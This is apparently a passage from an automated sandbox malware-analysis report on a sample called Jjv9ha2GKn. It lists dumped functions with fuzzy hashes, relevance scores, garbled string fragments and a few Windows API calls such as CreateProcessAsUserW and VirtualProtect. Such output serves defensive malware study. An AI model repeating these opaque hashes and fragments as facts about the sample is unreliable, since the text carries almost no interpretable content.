Opcode Fuzzy Hash: c99e2db1d4cf4fa3656e148da8aa1a2771d17a69e285f7e69735bc1f08c3cca8
Instruction Fuzzy Hash: 2C538DB0A152688FCB54FF78D98965DBBB1AB85304F8084E9D44CB7380DE386D86CF56

Function 07151D05 Relevance: 5.5, Instructions: 5511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2761625176.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7150000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d8851a9465da6000ff6fb14e63139fd181eb9c17eff459cdf77d25c5d49e5da
Instruction ID: 027fa97a6965a6c5bf3222a203f04a9c521c0351d0a11081ce30b7d45d4a9edd
Opcode Fuzzy Hash: 4d8851a9465da6000ff6fb14e63139fd181eb9c17eff459cdf77d25c5d49e5da
Instruction Fuzzy Hash: 5FB31570A15718CFCB58EF38D98966CBBB2BB89300F4089E9D449A7394DB385D85CF46

Function 07151D30 Relevance: 5.5, Instructions: 5499
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2761625176.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7150000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e9b15f239e196f0a5d339c83fe1a365bc52824eab51974bf786aecb5309434
Instruction ID: b6f5ed4f4f290a3ca99f22a1c43a339177552fb8b0d5e521268f423d20630165
Opcode Fuzzy Hash: 77e9b15f239e196f0a5d339c83fe1a365bc52824eab51974bf786aecb5309434
Instruction Fuzzy Hash: 9FB31570A15718CFCB58EF38D98966CBBB2BB89300F4089E9D449A7394DB385D85CF46

Function 07B326F8 Relevance: 5.2, Instructions: 5237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2762215994.0000000007B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b30000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a87dc7c4a15bba82757a5e5dc00fe2e3a763cd5f5b3edb3ca2a6608aa9aa78dd
Instruction ID: 0ffa25010c2b78ac95fc57e35c0ea1839b71a8b4d7f22ece89eba959174f7fa0
Opcode Fuzzy Hash: a87dc7c4a15bba82757a5e5dc00fe2e3a763cd5f5b3edb3ca2a6608aa9aa78dd
Instruction Fuzzy Hash: 39B30870A116198FCB58FF78D98966CBBF2BB88200F4089E9D488A7354DF345D85CF96

Function 075DB220 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"*p, xrefs: 075DB36F
e\1, xrefs: 075DB30D
e\1, xrefs: 075DB314
"*p, xrefs: 075DB358

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: e\1$e\1$"*p$"*p
API String ID: 0-1513742261
Opcode ID: aa09dfd12ef4b7e92ce3ae531b437f33dc3b54520bdea207bdc1c48d9dbba2df
Instruction ID: 65637a4ec6253af2afd5342e4b324fe52aadc491c715883812f9a0709a67fa66
Opcode Fuzzy Hash: aa09dfd12ef4b7e92ce3ae531b437f33dc3b54520bdea207bdc1c48d9dbba2df
Instruction Fuzzy Hash: A881F1B0D05259CFCB24CFAAD9446EEBBF2BF89300F20952AD416BB254E7355A01CF58

Function 071914E6 Relevance: 4.2, Strings: 1, Instructions: 2974
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 07191500

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: G
API String ID: 0-985283518
Opcode ID: 0d79b53ecd313e71dff3b6c3b86207f085488ad790c13f5d984dde19e87734e8
Instruction ID: cdebfb6bd6bc907a0e29f37a8241bce80db181eb904f2ca7132ed2015c950c78
Opcode Fuzzy Hash: 0d79b53ecd313e71dff3b6c3b86207f085488ad790c13f5d984dde19e87734e8
Instruction Fuzzy Hash: BA436DB0A146688BCB54FF78D98965DBBB1AB88304F8085E9D44DB3340DE386DC6CF56

Function 075D3790 Relevance: 3.9, Strings: 3, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6f, xrefs: 075D39F0
6f, xrefs: 075D39E2
$]q, xrefs: 075D3819

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: 6f$6f$$]q
API String ID: 0-3010377955
Opcode ID: 427c122ad7172a6edc110042838aaa570d877a283e2454b23b65f21420a0ed01
Instruction ID: 5a248ad02224648d2511ffaa2796225a821543f3cd5e1e6e3bfe24015a7a3b21
Opcode Fuzzy Hash: 427c122ad7172a6edc110042838aaa570d877a283e2454b23b65f21420a0ed01
Instruction Fuzzy Hash: 8C71D4B4E01209DFDB54CFA9D5855DEBBB2FF89300F20856AE40AAB354DB345A81CF91

Function 0719BB25 Relevance: 2.7, Strings: 2, Instructions: 246COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0719BBD9
Te]q, xrefs: 0719BDB2

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 24ec86ec18a05d969e088cab8835882675ddc57c20f57cfbb6e031cfa7cb0990
Instruction ID: 84b7fd25640409d7e50f1b1f601b543bbcdc5c6abcc56af5ded0498640756f29
Opcode Fuzzy Hash: 24ec86ec18a05d969e088cab8835882675ddc57c20f57cfbb6e031cfa7cb0990
Instruction Fuzzy Hash: EAA104B5E152098FCB08CFA9D9906DEFBF2FF89310F24902AD415BB295DB3499468F50

Function 0719BB70 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0719BBD9
Te]q, xrefs: 0719BDB2

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: b40cf78007ec7d9843ebc01ecb030253f514d81d09871ee97526cdc2e0fabad6
Instruction ID: 8cb87ed65c3e8c14ad7ed829a9f91d0179dde97913aaba0dd7088a89d42390ce
Opcode Fuzzy Hash: b40cf78007ec7d9843ebc01ecb030253f514d81d09871ee97526cdc2e0fabad6
Instruction Fuzzy Hash: CB91C4B4E142098FDB08CFAAD984ADEFBB2FF89300F14942AD415BB254DB349946CF54

Function 075D3780 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

6f, xrefs: 075D39F0
$]q, xrefs: 075D3819

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: 6f$$]q
API String ID: 0-403443862
Opcode ID: a2b4ef290522b567844e3905234b10ac1d6a9693c51e46cb6353e04265816ed7
Instruction ID: 781007e88dff8253f80bdfa9269e4bd8b0e4944aab90993512f579258e3c656c
Opcode Fuzzy Hash: a2b4ef290522b567844e3905234b10ac1d6a9693c51e46cb6353e04265816ed7
Instruction Fuzzy Hash: 1071F4B4E01209DFDB14CFA9D5855DEBBB2FF89300F20856AE406A7355DB345A81CF91

Function 075DACA0 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNELBASE(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 075DAE0B

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: e7c2375719449b84145836e795bd97aa0edd431a30bac2cb30d3ff34d6ad6d72
Instruction ID: 15e4060a9e6956f6ec1dbca70292b633a2539e3dd3c8c42ac6f60bbe23885fe9
Opcode Fuzzy Hash: e7c2375719449b84145836e795bd97aa0edd431a30bac2cb30d3ff34d6ad6d72
Instruction Fuzzy Hash: 3651F6B190022ADFDB25CF59C840BDEBBB5BF48314F0485AAE818B7250DB719E85CF90

Function 0719AF50 Relevance: 1.6, APIs: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0719AF13

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4c4e2bc4112b91bf17a670ef3acb3000fba7ed24605e6311b6c2a47eb303f7f3
Instruction ID: 0df74ed374e8139aac5b4dac10074eeff958972c595ec12e85d9741ac1790936
Opcode Fuzzy Hash: 4c4e2bc4112b91bf17a670ef3acb3000fba7ed24605e6311b6c2a47eb303f7f3
Instruction Fuzzy Hash: 2E413DB1E042158FEB18DFAAD84079EBBF2AFC9210F04C0AAD40CA7251EB345985CF61

Function 0719DC2B Relevance: 1.6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

Strings

kQD, xrefs: 0719DEE0

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: 25986cd9ddd9c02412ab9dc350e7a2ba2278260b0a0968b99f43eaa1500457e8
Instruction ID: 58fd82007b7eaca5249cfb4812cfb7e205ad177e2e1efd34df814bf33df7e3db
Opcode Fuzzy Hash: 25986cd9ddd9c02412ab9dc350e7a2ba2278260b0a0968b99f43eaa1500457e8
Instruction Fuzzy Hash: AFC14BB4E1120ADFCB04CFA9D4818AEFBB2FF49301B55C569D451A7295D734EA42CF90

Function 0719DC60 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

kQD, xrefs: 0719DEE0

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: 5f1af6b665d78f5f5e0ca6e08ce3e8f2647cb5daa71e1df5830b1c65cc54d724
Instruction ID: cb3ae0693e24d9a41196bd056c69f88d06a002055004eebf6809ae69de617e12
Opcode Fuzzy Hash: 5f1af6b665d78f5f5e0ca6e08ce3e8f2647cb5daa71e1df5830b1c65cc54d724
Instruction Fuzzy Hash: 3DC115B4E10209DFCB08CFA9D4848AEFBB2FF89301B55C569D415AB254D738EA42CF90

Function 0719C3E9 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

>NG, xrefs: 0719C49E

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: >NG
API String ID: 0-1926143806
Opcode ID: 4b506ba944becb5ecd6773104638f147e7b731a2f19bdf3ded2a80836ecd9c68
Instruction ID: f6f3c8d0273d0a3b22b7cc7d7e28785cd528a9f6e92a53576f05aeccf927e144
Opcode Fuzzy Hash: 4b506ba944becb5ecd6773104638f147e7b731a2f19bdf3ded2a80836ecd9c68
Instruction Fuzzy Hash: 50615AB0E152198FCB08CFA9C8415EEFBF2EF89301F14D16AD459A7295D7349A42CBA4

Function 07195E78 Relevance: 1.4, Instructions: 1392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd80033f06ed6726e835ed4f5efd32927c109c357ef75799add6501ec18a5aca
Instruction ID: 41c7b8e46cd08cfc28e6614b6faf598ffdac7210022f5df948c329ed98dbea7b
Opcode Fuzzy Hash: fd80033f06ed6726e835ed4f5efd32927c109c357ef75799add6501ec18a5aca
Instruction Fuzzy Hash: 35C29F70A142289FC754BF78D9847ADBBB2BF88304F8085A9D44DA7384DF385D86CB56

Function 07199EB8 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

<, xrefs: 07199FED

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 1494fb5d6aaee227eabe5d7e13afda9df94c0ff3894bcb1b4a6d79f2253fbbd3
Instruction ID: 54be1feb694b7c9d0da8d3032496e29c861e057ab2d9f468be91e194c857c88e
Opcode Fuzzy Hash: 1494fb5d6aaee227eabe5d7e13afda9df94c0ff3894bcb1b4a6d79f2253fbbd3
Instruction Fuzzy Hash: 9751A7B1E016588FDB59CFAAC9446DDBBF2AFC9301F14C0AAD409AB264DB345A85CF40

Function 07AF2760 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea8ebb012cb3b9ccd6449c87f1e740131ac14097d1ba74cfd4a9a44b8f690c33
Instruction ID: 9fd9069546a00df9bcd56d94a778e2b5c742a58afcf6e2078006242dc172b23b
Opcode Fuzzy Hash: ea8ebb012cb3b9ccd6449c87f1e740131ac14097d1ba74cfd4a9a44b8f690c33
Instruction Fuzzy Hash: 7B527B70A00305CFCB14DF68C944B99B7B2FF89314F2186A9D5586F3A2DB71A986CF81

Function 07AF2750 Relevance: .6, Instructions: 584COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813e69bcb2ea5e272c5cdf1470121ff813d0cba109fd7e2f766b4f54bc6bb151
Instruction ID: 7b882fa25139b14f238774df7002532e81ce5eea9812be0ca247e6101b997269
Opcode Fuzzy Hash: 813e69bcb2ea5e272c5cdf1470121ff813d0cba109fd7e2f766b4f54bc6bb151
Instruction Fuzzy Hash: 8D527B70A00305CFCB14DF68C944B99B7B2FF89314F2586A9D5586F3A2DB71A986CF81

Function 075D5F00 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86c77fbe759d183c6ad3484dcc7e7b4a8f162665657f0718bb062c5e95c4b7f0
Instruction ID: d9ff9eb1b02a37d9c7eb89471c2913f34c2fdd7518d6646eda7405ec0e9b4574
Opcode Fuzzy Hash: 86c77fbe759d183c6ad3484dcc7e7b4a8f162665657f0718bb062c5e95c4b7f0
Instruction Fuzzy Hash: E3F12BB4A1566A8FCB64CF69C9447DDBBB6BF88300F1085E6D40EAB254E7349E81CF40

Function 075D524F Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77f1a863cbe524cfdd78dae74213a898b5e2d6e46bf9d741e800f9ef591e9d4
Instruction ID: 6510a80bb81c0fc09aa0f6d574dbfc7d42f3e9f6dd631021a9691b147385c539
Opcode Fuzzy Hash: e77f1a863cbe524cfdd78dae74213a898b5e2d6e46bf9d741e800f9ef591e9d4
Instruction Fuzzy Hash: FE717DB0D11209DFDB24CFA8C8446EEBBB2FF89301F14892AD412A7254E7755A16CF91

Function 075D0F95 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1bdd4a2a3e1f08d5f6648846c5d0ad9638a9d8df1eb965efc8f33fd0a0fba15
Instruction ID: 1624d2ef7784ed4e4ec34abc0fa7fd8dc5124c19ea7e62937f8a03e50a20073a
Opcode Fuzzy Hash: b1bdd4a2a3e1f08d5f6648846c5d0ad9638a9d8df1eb965efc8f33fd0a0fba15
Instruction Fuzzy Hash: 9261EB72E056598BDB28CF6B9C452D9FBF3EFC9311F14C1AAC44CAA615DB310A868F41

Function 075D5260 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c957b199d0c0ee66e24b11fc2420b40288fb3bf34cccee7153de73d65064ef
Instruction ID: 0fb002d149efde67cffcac02910bf8a7aac3a1593cba3206902def11744d67de
Opcode Fuzzy Hash: 55c957b199d0c0ee66e24b11fc2420b40288fb3bf34cccee7153de73d65064ef
Instruction Fuzzy Hash: BA6146B0D11219DFDB18CFE8D5456EEBBB1FF49302F10882AD412A7254E7745A16CF91

Function 075D54FB Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8afbbd2f8d5663b9f42f4c738d46468112543292544854aeb8045fc6a537d40
Instruction ID: 31de4924f824169c2db4c80d990dbee4ff81481bef0c6488cb3422c8cb7d2d42
Opcode Fuzzy Hash: e8afbbd2f8d5663b9f42f4c738d46468112543292544854aeb8045fc6a537d40
Instruction Fuzzy Hash: C9517CB0D11209DFDB14CFA8D4486EEBBB1FF49301F10996AD412A7354EB799A12CF91

Function 0719CDB0 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0ce0fa28de56c3546c8a189d511d8896c84045e26e78d35c3d67f8ea2c807be
Instruction ID: 1eeb13fc58e4a58cacbb12d01d35ad993ab40b7dce871503d2ead3f2ce77703a
Opcode Fuzzy Hash: b0ce0fa28de56c3546c8a189d511d8896c84045e26e78d35c3d67f8ea2c807be
Instruction Fuzzy Hash: 2B5108B4E112188FDB58CF66D9846DEBBB2FF89310F1480A9D40967255DB346A85CF90

Function 075D1010 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c453ccf855915cd948c7f527e72f48230358ea6d60c12441af4d9c3a28bbf02
Instruction ID: 86bc14fcdf53e11910cd83ae3641f9a12bb882643b102a3046712306f1311eda
Opcode Fuzzy Hash: 7c453ccf855915cd948c7f527e72f48230358ea6d60c12441af4d9c3a28bbf02
Instruction Fuzzy Hash: 20514AB1E016188BEB68CF6B894579DFAF7AFC9301F14C1BA850CA6214EB341A858F51

Function 075D0460 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e694a210fba8a16b91f83f35277c24084e17aad465a790526a81747a3f953584
Instruction ID: 8d92f150290ba4578b9a13ff19d4763a93ee74d77a12391a887fa91922777813
Opcode Fuzzy Hash: e694a210fba8a16b91f83f35277c24084e17aad465a790526a81747a3f953584
Instruction Fuzzy Hash: 8621BCB1E056188BEB58CF6BDC406DEFBF7AFC8200F14C1BAD508A6264DB345A568F51

Function 026F5200 Relevance: 6.6, Strings: 5, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8aq, xrefs: 026F5926
$]q, xrefs: 026F58D6
Te]q, xrefs: 026F55D6
Te]q, xrefs: 026F55E6
$]q, xrefs: 026F58E4

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: 8aq$Te]q$Te]q$$]q$$]q
API String ID: 0-4290747453
Opcode ID: a48fa1ff83deabddbe3d3d7a3fbebebde5aa6ede4164cf2cf63c38c34cda744d
Instruction ID: 17ff0ac0e6f38e141b113faa55cb970e14f77494e3529846aeecdf07f569e038
Opcode Fuzzy Hash: a48fa1ff83deabddbe3d3d7a3fbebebde5aa6ede4164cf2cf63c38c34cda744d
Instruction Fuzzy Hash: 48C13430A05250DFDF498BB8D9657AEBBB1EF86300F58806AE9479B392CB258C43C751

Function 026F89E8 Relevance: 5.3, Strings: 4, Instructions: 271COMMON

Download Yara Rule

Strings

(o]q, xrefs: 026F8B0D
(o]q, xrefs: 026F8BAA
(o]q, xrefs: 026F8A26
(o]q, xrefs: 026F8AE1

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q
API String ID: 0-1261621458
Opcode ID: 931e9396954c7f7ffdd91a5162338fac1efae06e647a016e77702e923d55d3aa
Instruction ID: 73732f1895f9e54c81606c93ef81de71afc9a2eedfcca06386004f5cc8001d4e
Opcode Fuzzy Hash: 931e9396954c7f7ffdd91a5162338fac1efae06e647a016e77702e923d55d3aa
Instruction Fuzzy Hash: AEC13530A012099FCF94CF69C984A9EBBF2FF88314F158599EA59AB361D730ED41CB50

Function 026FA528 Relevance: 4.0, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 026FA7C1
$]q, xrefs: 026FA607
$]q, xrefs: 026FA5E4

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: (o]q$$]q$$]q
API String ID: 0-989248301
Opcode ID: 3bbee253ef77bd1454cc916c9a1aa7f41f1db7b9de9d99f14a2046ad88656d81
Instruction ID: 5c9278007640325ce9b40bd65ffc4eaf3aa6aba937e855aed65ab814ecd571c5
Opcode Fuzzy Hash: 3bbee253ef77bd1454cc916c9a1aa7f41f1db7b9de9d99f14a2046ad88656d81
Instruction Fuzzy Hash: 7671B1357002048FCF599FA8D994A6E7BB6FB88710B24446AE60ADB391DF34DC42C7A1

Function 07150A1C Relevance: 3.9, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

@, xrefs: 07150A24
Te]q, xrefs: 07150B2F
TJbq, xrefs: 07150B44

Memory Dump Source

Source File: 00000000.00000002.2761625176.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7150000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: @$TJbq$Te]q
API String ID: 0-2800237591
Opcode ID: 3a17adf29e53d13b3f85d4bc6b773e4d7119dc362dc1473c72fe2c44eb8693f8
Instruction ID: 43a60c45b3abdbe09548473813a022a6014004872662bccf6df0a92ce0fc07f1
Opcode Fuzzy Hash: 3a17adf29e53d13b3f85d4bc6b773e4d7119dc362dc1473c72fe2c44eb8693f8
Instruction Fuzzy Hash: 2E41C79160E3C04FD3075778982465A7FB29F8B218B1E01CBD182CF2E3CA188C0A83A6

Function 026F534D Relevance: 3.9, Strings: 3, Instructions: 110COMMON

Download Yara Rule

Strings

tP]q, xrefs: 026F5395
tP]q, xrefs: 026F5389
tP]q, xrefs: 026F536E

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: tP]q$tP]q$tP]q
API String ID: 0-513720979
Opcode ID: 2c3e7c709f36c7ccdc4637317692217139ffeb487411d6db8580d67e2f0c2c73
Instruction ID: 335e142099fb0e34f0657c854bb0e0762ad3e42532ba92331b40bd0a7055f616
Opcode Fuzzy Hash: 2c3e7c709f36c7ccdc4637317692217139ffeb487411d6db8580d67e2f0c2c73
Instruction Fuzzy Hash: 243149515065809FC70A0774EB7A6AA7FB9AF43610B0CC0DADCC98B303CA268D47D7A1

Function 026F7188 Relevance: 2.9, Strings: 2, Instructions: 433COMMON

Download Yara Rule

Strings

Haq, xrefs: 026F738C
Haq, xrefs: 026F7359

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 4220f1ab35a0635002cba7e17ed6e20ee92a317fedd35350842a4cca87b2fdc7
Instruction ID: a23a60a468eccaeb263f079ff019ec5ef343119c9195548b9976f3088c5fcbb8
Opcode Fuzzy Hash: 4220f1ab35a0635002cba7e17ed6e20ee92a317fedd35350842a4cca87b2fdc7
Instruction Fuzzy Hash: 49E1D3317002159FCF4A9F68D854B7EBBA6EB88301F148529EA0ACB391CF74DD42CB91

Function 07AFB118 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

PH]q, xrefs: 07AFB3F4
PH]q, xrefs: 07AFB286

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 68906b41dbce6cd3b7edfdfc10ba8c9c173b47da2c59ccede879d866c0731839
Instruction ID: fcd44b429717b6909f9317ad5ba60e3903c3ac3a70beb5a7313419389213c0f9
